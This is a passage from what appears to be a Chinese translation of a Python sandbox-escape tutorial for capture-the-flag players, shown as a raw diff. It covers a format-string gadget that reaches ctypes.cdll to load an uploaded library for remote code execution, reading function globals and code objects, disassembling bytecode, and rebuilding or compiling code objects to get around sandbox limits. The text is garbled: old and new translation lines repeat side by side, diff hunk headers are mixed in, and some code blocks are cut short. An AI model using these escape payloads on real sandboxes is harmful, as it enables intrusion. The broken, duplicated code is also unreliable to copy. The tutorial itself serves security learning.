然而,可以使用 `[]`。因此,如果某个常用的 python 库具有会执行任意代码的 **`__getitem__`** 或 **`__getattr__`** 方法,就可以滥用它们来获取 RCE。
在 python 中寻找这样的 gadget 时writeup 提出了这个 [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code)。他在其中找到了这个 [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
```python
class LibraryLoader(object):
def __init__(self, dlltype):
@ -773,18 +775,18 @@ return getattr(self, name)
cdll = LibraryLoader(CDLL)
pydll = LibraryLoader(PyDLL)
```
此 gadget 允许**从磁盘加载库**。因此,需要以某种方式**将要加载的库写入或上传**到被攻击的服务器,并确保其为该服务器正确编译
这个 gadget 允许 **load a library from disk**。因此,需要以某种方式将 **write or upload the library to load** 正确编译并上传到被攻击的服务器
```python
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
```
该挑战实际上利用了服务器上的另一个漏洞,该漏洞允许在服务器磁盘上创建任意文件。
这个挑战实际上滥用了服务器中的另一个漏洞,允许在服务器磁盘上创建任意文件。
## 析 Python 对象
## 析 Python 对象
> [!TIP]
> 如果你想**学习**关于**python bytecode**的深入内容,请阅读这篇**awesome**文章:[**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
> 如果你想**学习**关于**python bytecode**的深入内容,请阅读这篇关于该主题的**精彩**文章: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
在一些 CTFs 中,你可能会被提供一个**custom function where the flag**的名称,你需要查看该**function**的**internals**以提取它。
在一些 CTFs 中,你可能会被提供一个**custom function where the flag** 的名称,你需要查看该 **function****internals**提取它。
这是要检查的函数:
```python
@ -797,16 +799,16 @@ return "THIS-IS-THE-FALG!"
else:
return "Nope"
```
#### dir
#### 目录
```python
dir() #General dir() to find what we have loaded
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
dir(get_flag) #Get info tof the function
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
```
#### 全局
#### globals
`__globals__` and `func_globals`(相同) 获取全局环境。在示例中,你可以看到一些已导入的模块、一些全局变量及其内容声明
`__globals__` `func_globals`(相同) 获取全局环境。在示例中,你可以看到一些已导入的模块、一些全局变量及其声明的内容:
```python
get_flag.func_globals
get_flag.__globals__
@ -819,7 +821,7 @@ CustomClassObject.__class__.__init__.__globals__
### **访问函数代码**
**`__code__`** 和 `func_code`: 你可以 **访问** 函数的这个 **属性****获取函数的代码对象**。
**`__code__`** 和 `func_code`:你可以 **访问** 该函数的这个 **属性****获取其 code object**。
```python
# In our current example
get_flag.__code__
@ -879,7 +881,7 @@ get_flag.__code__.co_freevars
get_flag.__code__.co_code
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
```
### **反汇编一个 function**
### **反汇编函数**
```python
import dis
dis.dis(get_flag)
@ -907,7 +909,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
注意**如果你无法在 python sandbox 中导入 `dis`**,你可以获取函数的**bytecode**`get_flag.func_code.co_code`)并在本地对其**disassemble**。你无法看到被加载变量的内容(`LOAD_CONST`),但你可以从(`get_flag.func_code.co_consts`)推测它们,因为 `LOAD_CONST` 也会告诉被加载变量的偏移。
注意 **如果你无法在 python sandbox 中导入 `dis`**,你可以获取该函数的 **bytecode** (`get_flag.func_code.co_code`) 并在本地 **disassemble** 它。你不会看到被加载变量的内容(`LOAD_CONST`),但可以从 (`get_flag.func_code.co_consts`) 猜测它们,因为 `LOAD_CONST` 也会指示被加载变量的偏移。
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
@ -929,10 +931,10 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
44 LOAD_CONST 0 (0)
47 RETURN_VALUE
```
## 编译 Python
## Compiling Python
现在,假设以某种方式你可以 **dump the information about a function that you cannot execute**,但你**需要**去**执行**它。\
就像下面的示例,你**can access the code object**该函数,但仅通过查看反汇编你**不知道如何计算 flag**_想象一个更复杂的 `calc_flag` 函数_
现在,设想一下,你以某种方式能够 **dump the information about a function that you cannot execute**,但你 **need****execute** 它。\
像下面的例子,你 **can access the code object** 的那个函数,但仅仅读取反汇编你 **don't know how to calculate the flag**_想象一个更复杂的 `calc_flag` 函数_
```python
def get_flag(some_input):
var1=1
@ -947,7 +949,7 @@ return "Nope"
```
### 创建 code object
首先,我们需要知道 **how to create and execute a code object**,以便我们可以创建一个来执行我们 leaked 的 function
首先,我们需要知道 **如何创建和执行 code object**,以便我们可以创建一个来执行我们的 function leaked:
```python
code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
@ -967,7 +969,7 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
```
> [!TIP]
> 根据你运行的 python 版本,`code_type`**parameters** 可能有 **不同的顺序**。要确定你运行的 python 版本中参数的顺序,最好的方法是运行:
> 根据你所使用的 python 版本,`code_type`**参数** 可能有 **不同的顺序**。要了解你运行的 python 版本中参数的顺序,最好的方法是运行:
>
> ```
> import types
@ -975,10 +977,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
> ```
### 重新创建 leaked 函数
### 重新创建一个 leaked 函数
> [!WARNING]
> 在下面的示例中,我们将直接从函数的 code object 中获取重新创建该函数所需的所有数据。在一个 **真实示例** 中,执行函数 **`code_type`** 所需的所有 **值** 就是 **你将需要 leak 的**
> 在下面的示例中,我们将直接从函数的 code object 中获取重新创建该函数所需的所有数据。在一个 **真实示例** 中,执行函数 **`code_type`** 所需的所有 **值** 就是你必须 leak 的内容
```python
fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
@ -991,10 +993,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
```
### 绕过防御
在本帖开头的示例中,你可以看到 **如何使用 `compile` 函数执行任意 python 代码**。这很有趣,因为你可以把带循环和所有内容的 **完整脚本****一行代码** 中执行(我们也可以用 **`exec`** 达到同样效果)。\
无论如何,有时在本地机器上 **创建** 一个 **已编译对象** 并在 **CTF machine** 上执行会很有用(例如因为在 CTF 上没有 `compiled` 函数)。
在本文开头的前面示例中,你可以看到 **如何使用 `compile` 函数执行任意 python 代码**。这很有意思,因为你可以在 **一行命令** 中执行带有循环等的 **完整脚本**(我们也可以使用 **`exec`** 做同样的事)。\
不过,有时在本地机器上**创建**一个**已编译对象**并在 **CTF machine** 上执行它会很有用(例如因为在 CTF 中我们没有 `compiled` 函数)。
例如,我们手动编译并执行一个读取 _./poc.py_ 的函数:
例如,我们手动编译并执行一个读取 _./poc.py_ 的函数:
```python
#Locally
def read():
@ -1021,7 +1023,7 @@ mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
```
如果无法访问 `eval``exec`,你可以创建一个**真正的函数**但直接调用它通常会失败提示_constructor not accessible in restricted mode_。因此你需要一个**不在受限环境中的函数来调用这个函数。**
如果无法访问 `eval``exec`,你可以创建一个**适当的函数**,但直接调用它通常会失败,错误为: _受限模式下无法访问构造函数_。因此你需要一个**不在受限环境中的函数来调用该函数。**
```python
#Compile a regular print
ftype = type(lambda: None)
@ -1029,11 +1031,11 @@ ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
```
## 反编译已编译的 Python
## Decompiling Compiled Python
使用像 [**https://www.decompiler.com/**](https://www.decompiler.com) 这样的工具,可以**反编译**给定的已编译 python 代码。
Using tools like [**https://www.decompiler.com/**](https://www.decompiler.com) one can **decompile** given compiled python code.
**查看教程**
**查看教程**
{{#ref}}
@ -1044,8 +1046,8 @@ f(42)
### Assert
使用 `-O` 参数以优化模式执行的 Python 会移除 assert 语句以及任何基于 **debug** 值的条件代码。\
因此,类似以下的检查:
Python executed with optimizations with the param `-O` will remove asset statements and any code conditional on the value of **debug**.\
Therefore, checks like
```python
def check_permission(super_user):
try: